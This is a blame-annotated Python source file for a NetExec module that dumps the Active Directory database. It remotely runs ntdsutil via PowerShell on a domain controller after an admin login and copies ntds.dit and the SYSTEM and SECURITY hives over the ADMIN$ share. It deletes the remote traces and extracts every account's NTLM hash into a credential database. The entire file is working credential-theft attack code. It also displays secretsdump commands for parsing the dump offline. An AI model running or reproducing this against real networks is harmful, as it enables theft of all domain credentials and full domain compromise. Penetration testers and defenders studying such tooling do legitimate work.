2023-03-22 09:35:18 +00:00
|
|
|
import os
|
2023-03-22 11:40:04 +00:00
|
|
|
import shutil
|
|
|
|
import tempfile
|
2023-03-22 09:45:02 +00:00
|
|
|
import time
|
2023-03-22 09:35:18 +00:00
|
|
|
|
2023-03-22 11:40:04 +00:00
|
|
|
from impacket.examples.secretsdump import LocalOperations, NTDSHashes
|
|
|
|
|
2023-09-14 21:07:15 +00:00
|
|
|
from nxc.helpers.logger import highlight
|
|
|
|
from nxc.helpers.misc import validate_ntlm
|
2023-03-22 11:40:04 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2023-09-17 20:20:40 +00:00
|
|
|
class NXCModule:
|
2023-04-07 16:40:48 +00:00
|
|
|
"""
|
2023-05-02 15:17:59 +00:00
|
|
|
Dump NTDS with ntdsutil
|
|
|
|
Module by @zblurx
|
2023-03-22 09:35:18 +00:00
|
|
|
|
2023-04-07 16:40:48 +00:00
|
|
|
"""
|
2023-05-02 15:17:59 +00:00
|
|
|
|
|
|
|
name = "ntdsutil"
|
|
|
|
description = "Dump NTDS with ntdsutil"
|
|
|
|
supported_protocols = ["smb"]
|
|
|
|
opsec_safe = True
|
2023-03-22 09:35:18 +00:00
|
|
|
multiple_hosts = False
|
|
|
|
|
|
|
|
def options(self, context, module_options):
|
2023-04-07 16:40:48 +00:00
|
|
|
"""
|
2023-03-22 09:35:18 +00:00
|
|
|
Dump NTDS with ntdsutil
|
|
|
|
Module by @zblurx
|
|
|
|
|
2023-03-22 11:40:04 +00:00
|
|
|
DIR_RESULT Local dir to write ntds dump. If specified, the local dump will not be deleted after parsing
|
2023-04-07 16:40:48 +00:00
|
|
|
"""
|
2023-03-22 09:35:18 +00:00
|
|
|
self.share = "ADMIN$"
|
|
|
|
self.tmp_dir = "C:\\Windows\\Temp\\"
|
|
|
|
self.tmp_share = self.tmp_dir.split("C:\\Windows\\")[1]
|
2023-03-22 09:45:02 +00:00
|
|
|
self.dump_location = str(time.time())[:9]
|
2023-03-22 11:40:04 +00:00
|
|
|
self.dir_result = self.dir_result = tempfile.mkdtemp()
|
|
|
|
self.no_delete = False
|
2023-03-22 09:35:18 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
if "DIR_RESULT" in module_options:
|
|
|
|
self.dir_result = os.path.abspath(module_options["DIR_RESULT"])
|
2023-03-22 11:40:04 +00:00
|
|
|
self.no_delete = True
|
2023-03-22 09:35:18 +00:00
|
|
|
|
|
|
|
def on_admin_login(self, context, connection):
|
2023-05-08 18:39:36 +00:00
|
|
|
command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location)
|
|
|
|
context.log.display("Dumping ntds with ntdsutil.exe to %s%s" % (self.tmp_dir, self.dump_location))
|
|
|
|
context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...")
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.debug("Executing command {}".format(command))
|
2023-03-22 09:35:18 +00:00
|
|
|
p = connection.execute(command, True)
|
|
|
|
context.log.debug(p)
|
2023-05-02 15:17:59 +00:00
|
|
|
if "success" in p:
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location))
|
2023-03-22 09:35:18 +00:00
|
|
|
else:
|
2023-04-21 10:17:50 +00:00
|
|
|
context.log.fail("Error while dumping NTDS")
|
2023-03-22 09:35:18 +00:00
|
|
|
return
|
|
|
|
|
2023-03-22 11:40:04 +00:00
|
|
|
os.makedirs(self.dir_result, exist_ok=True)
|
2023-05-02 15:17:59 +00:00
|
|
|
os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True)
|
|
|
|
os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True)
|
2023-03-22 09:35:18 +00:00
|
|
|
|
2023-04-06 00:09:07 +00:00
|
|
|
context.log.display("Copying NTDS dump to %s" % self.dir_result)
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.debug("Copy ntds.dit to host")
|
2023-05-08 18:39:36 +00:00
|
|
|
with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file:
|
2023-03-22 09:35:18 +00:00
|
|
|
try:
|
2023-05-02 15:17:59 +00:00
|
|
|
connection.conn.getFile(
|
|
|
|
self.share,
|
2023-05-08 18:39:36 +00:00
|
|
|
self.tmp_share + self.dump_location + "\\" + "Active Directory\\ntds.dit",
|
2023-05-02 15:17:59 +00:00
|
|
|
dump_file.write,
|
|
|
|
)
|
|
|
|
context.log.debug("Copied ntds.dit file")
|
2023-03-22 09:35:18 +00:00
|
|
|
except Exception as e:
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.fail("Error while get ntds.dit file: {}".format(e))
|
2023-03-22 09:35:18 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.debug("Copy SYSTEM to host")
|
2023-05-08 18:39:36 +00:00
|
|
|
with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file:
|
2023-03-22 09:35:18 +00:00
|
|
|
try:
|
2023-05-02 15:17:59 +00:00
|
|
|
connection.conn.getFile(
|
|
|
|
self.share,
|
|
|
|
self.tmp_share + self.dump_location + "\\" + "registry\\SYSTEM",
|
|
|
|
dump_file.write,
|
|
|
|
)
|
|
|
|
context.log.debug("Copied SYSTEM file")
|
2023-03-22 09:35:18 +00:00
|
|
|
except Exception as e:
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.fail("Error while get SYSTEM file: {}".format(e))
|
2023-03-22 09:35:18 +00:00
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.debug("Copy SECURITY to host")
|
2023-05-08 18:39:36 +00:00
|
|
|
with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file:
|
2023-03-22 09:35:18 +00:00
|
|
|
try:
|
2023-05-02 15:17:59 +00:00
|
|
|
connection.conn.getFile(
|
|
|
|
self.share,
|
|
|
|
self.tmp_share + self.dump_location + "\\" + "registry\\SECURITY",
|
|
|
|
dump_file.write,
|
|
|
|
)
|
|
|
|
context.log.debug("Copied SECURITY file")
|
2023-03-22 09:35:18 +00:00
|
|
|
except Exception as e:
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.fail("Error while get SECURITY file: {}".format(e))
|
2023-04-06 00:09:07 +00:00
|
|
|
context.log.display("NTDS dump copied to %s" % self.dir_result)
|
2023-03-22 09:35:18 +00:00
|
|
|
try:
|
|
|
|
command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location)
|
|
|
|
p = connection.execute(command, True)
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.success("Deleted %s%s remote dump directory" % (self.tmp_dir, self.dump_location))
|
2023-03-22 11:40:04 +00:00
|
|
|
except Exception as e:
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.fail("Error deleting {} remote directory on share {}: {}".format(self.dump_location, self.share, e))
|
2023-03-22 11:40:04 +00:00
|
|
|
|
|
|
|
localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result)
|
|
|
|
bootKey = localOperations.getBootKey()
|
|
|
|
noLMHash = localOperations.checkNoLMHashPolicy()
|
|
|
|
|
2023-03-23 09:24:57 +00:00
|
|
|
host_id = context.db.get_hosts(filter_term=connection.host)[0][0]
|
2023-03-22 11:40:04 +00:00
|
|
|
|
|
|
|
def add_ntds_hash(ntds_hash, host_id):
|
|
|
|
add_ntds_hash.ntds_hashes += 1
|
|
|
|
if context.enabled:
|
|
|
|
if "Enabled" in ntds_hash:
|
|
|
|
ntds_hash = ntds_hash.split(" ")[0]
|
|
|
|
context.log.highlight(ntds_hash)
|
|
|
|
else:
|
|
|
|
ntds_hash = ntds_hash.split(" ")[0]
|
|
|
|
context.log.highlight(ntds_hash)
|
2023-05-02 15:17:59 +00:00
|
|
|
if ntds_hash.find("$") == -1:
|
|
|
|
if ntds_hash.find("\\") != -1:
|
|
|
|
domain, hash = ntds_hash.split("\\")
|
2023-03-22 11:40:04 +00:00
|
|
|
else:
|
|
|
|
domain = connection.domain
|
|
|
|
hash = ntds_hash
|
|
|
|
|
|
|
|
try:
|
2023-05-02 15:17:59 +00:00
|
|
|
username, _, lmhash, nthash, _, _, _ = hash.split(":")
|
|
|
|
parsed_hash = ":".join((lmhash, nthash))
|
2023-03-22 11:40:04 +00:00
|
|
|
if validate_ntlm(parsed_hash):
|
2023-05-08 18:39:36 +00:00
|
|
|
context.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
2023-03-22 11:40:04 +00:00
|
|
|
add_ntds_hash.added_to_db += 1
|
|
|
|
return
|
|
|
|
raise
|
|
|
|
except:
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
2023-03-22 11:40:04 +00:00
|
|
|
else:
|
|
|
|
context.log.debug("Dumped hash is a computer account, not adding to db")
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2023-03-22 11:40:04 +00:00
|
|
|
add_ntds_hash.ntds_hashes = 0
|
|
|
|
add_ntds_hash.added_to_db = 0
|
|
|
|
|
2023-05-02 15:17:59 +00:00
|
|
|
NTDS = NTDSHashes(
|
|
|
|
"%s/Active Directory/ntds.dit" % self.dir_result,
|
|
|
|
bootKey,
|
|
|
|
isRemote=False,
|
|
|
|
history=False,
|
|
|
|
noLMHash=noLMHash,
|
|
|
|
remoteOps=None,
|
|
|
|
useVSSMethod=True,
|
|
|
|
justNTLM=True,
|
|
|
|
pwdLastSet=False,
|
|
|
|
resumeSession=None,
|
|
|
|
outputFileName=connection.output_filename,
|
|
|
|
justUser=None,
|
|
|
|
printUserStatus=True,
|
|
|
|
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, host_id),
|
|
|
|
)
|
|
|
|
|
2023-03-22 11:40:04 +00:00
|
|
|
try:
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...")
|
2023-03-22 11:40:04 +00:00
|
|
|
NTDS.dump()
|
2023-05-02 15:17:59 +00:00
|
|
|
context.log.success(
|
|
|
|
"Dumped {} NTDS hashes to {} of which {} were added to the database".format(
|
|
|
|
highlight(add_ntds_hash.ntds_hashes),
|
|
|
|
connection.output_filename + ".ntds",
|
|
|
|
highlight(add_ntds_hash.added_to_db),
|
|
|
|
)
|
|
|
|
)
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.display("To extract only enabled accounts from the output file, run the following command: ")
|
|
|
|
context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + ".ntds"))
|
2023-03-22 09:35:18 +00:00
|
|
|
except Exception as e:
|
2023-04-21 10:17:50 +00:00
|
|
|
context.log.fail(e)
|
2023-03-22 09:35:18 +00:00
|
|
|
|
2023-03-22 11:40:04 +00:00
|
|
|
NTDS.finish()
|
2023-05-02 15:17:59 +00:00
|
|
|
|
2023-03-22 11:40:04 +00:00
|
|
|
if self.no_delete:
|
2023-05-08 18:39:36 +00:00
|
|
|
context.log.display("Raw NTDS dump copied to %s, parse it with:" % self.dir_result)
|
|
|
|
context.log.display('secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' % (self.dir_result, self.dir_result, self.dir_result))
|
2023-03-22 11:40:04 +00:00
|
|
|
else:
|
2023-05-02 15:17:59 +00:00
|
|
|
shutil.rmtree(self.dir_result)
|